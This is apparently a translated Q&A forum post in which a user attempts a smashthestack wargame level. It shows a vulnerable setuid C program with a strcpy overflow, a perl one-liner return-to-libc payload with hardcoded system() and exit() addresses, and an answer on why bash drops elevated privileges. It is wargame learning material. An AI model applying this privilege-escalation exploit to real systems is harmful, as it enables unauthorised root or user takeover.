Nano Hash - криптовалюты, майнинг, программирование

BOF с не исполняемым стеком

Я пытаюсь пройти 2 уровень этой "игры" http://smashthestack.org/faq.html (подключение через ssh на сервере черного ящика), которые состоят из базового переполнения буфера.

В каталоге /home/level2 (для каждого уровня есть каталог с файлом, содержащим пароль для этого уровня) есть исполняемый файл с именем getowner и его исходный код:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    char *filename;
    char buf[128];

    if((filename = getenv("filename")) == NULL) {
        printf("No filename configured!\n");
        return 1;
    }

    while(*filename == '/')
        filename++;
    strcpy(buf, "/tmp/");
    strcpy(&buf[strlen(buf)], filename);

    struct stat stbuf;
    stat(buf, &stbuf);
    printf("The owner of this file is: %d\n", stbuf.st_uid);

    return 0;
}

Пользователь, которому принадлежит исполняемый файл, имеет уровень 3.

level2@blackbox:~$ ls -lisa getowner
2370021 8 -rwsr-x--- 1 level3 gamers 7797 2017-05-24 01:56 getowner

Итак, если я могу использовать переполнение буфера и создать оболочку уровня 3, я могу прочитать файл /home/level3/password, получить пароль и выиграть уровень: я прав?

So

1) я пытался загрузить шелл-код в переменную окружения и подделать переменную имени файла, чтобы изменить адрес возврата в стеке для возврата по шелл-коду, но, как вы видите,

level2@blackbox:~$ readelf -l getowner | grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

код в стеке не может быть выполнен.

2) затем я пытаюсь использовать атаку Return-to-libc и вызывать систему (/bin/bash), но в порожденной оболочке я все еще пользователь уровня 2 :(

level2@blackbox:~$ export filename=$(perl -e 'print "a" x135;print "\xb0\x59\xee\xb7" ; print "\x20\xb4\xed\xb7" ; print "\x32\xfe\xff\xbf"')
level2@blackbox:~$ ./getowner 
The owner of this file is: -1207961948
bash-3.1$ id
uid=1003(level2) gid=1005(gamers) gruppi=1003(level2),1005(gamers)

Где 0xb7ee59b0 в адресе system(), 0xb7edb420 — адрес exit(), а 0xbffffe32 — адрес строки /bin/bash.

у меня есть другие варианты или я ошибаюсь?


Ответы:


1

Ваш второй подход правильный, но вы должны использовать /bin/sh или (/bin/dash, если /bin/sh является символической ссылкой на /bin/bash).

Одна из первых вещей, которые делает bash, — это понижает ваши euid привилегии до uid. Дополнительные сведения см. в этом ответе stackexchange.

16.09.2017
Новые материалы

Кластеризация: более глубокий взгляд
Кластеризация — это метод обучения без учителя, в котором мы пытаемся найти группы в наборе данных на основе некоторых известных или неизвестных свойств, которые могут существовать. Независимо от..

Как написать эффективное резюме
Предложения по дизайну и макету, чтобы представить себя профессионально Вам не позвонили на собеседование после того, как вы несколько раз подали заявку на работу своей мечты? У вас может..

Частный метод Python: улучшение инкапсуляции и безопасности
Введение Python — универсальный и мощный язык программирования, известный своей простотой и удобством использования. Одной из ключевых особенностей, отличающих Python от других языков, является..

Как я автоматизирую тестирование с помощью Jest
Шутка для победы, когда дело касается автоматизации тестирования Одной очень важной частью разработки программного обеспечения является автоматизация тестирования, поскольку она создает..

Работа с векторными символическими архитектурами, часть 4 (искусственный интеллект)
Hyperseed: неконтролируемое обучение с векторными символическими архитектурами (arXiv) Автор: Евгений Осипов , Сачин Кахавала , Диланта Хапутантри , Тимал Кемпития , Дасвин Де Сильва ,..

Понимание расстояния Вассерштейна: мощная метрика в машинном обучении
В обширной области машинного обучения часто возникает необходимость сравнивать и измерять различия между распределениями вероятностей. Традиционные метрики расстояния, такие как евклидово..

Обеспечение масштабируемости LLM: облачный анализ с помощью AWS Fargate и Copilot
В динамичной области искусственного интеллекта все большее распространение получают модели больших языков (LLM). Они жизненно важны для различных приложений, таких как интеллектуальные..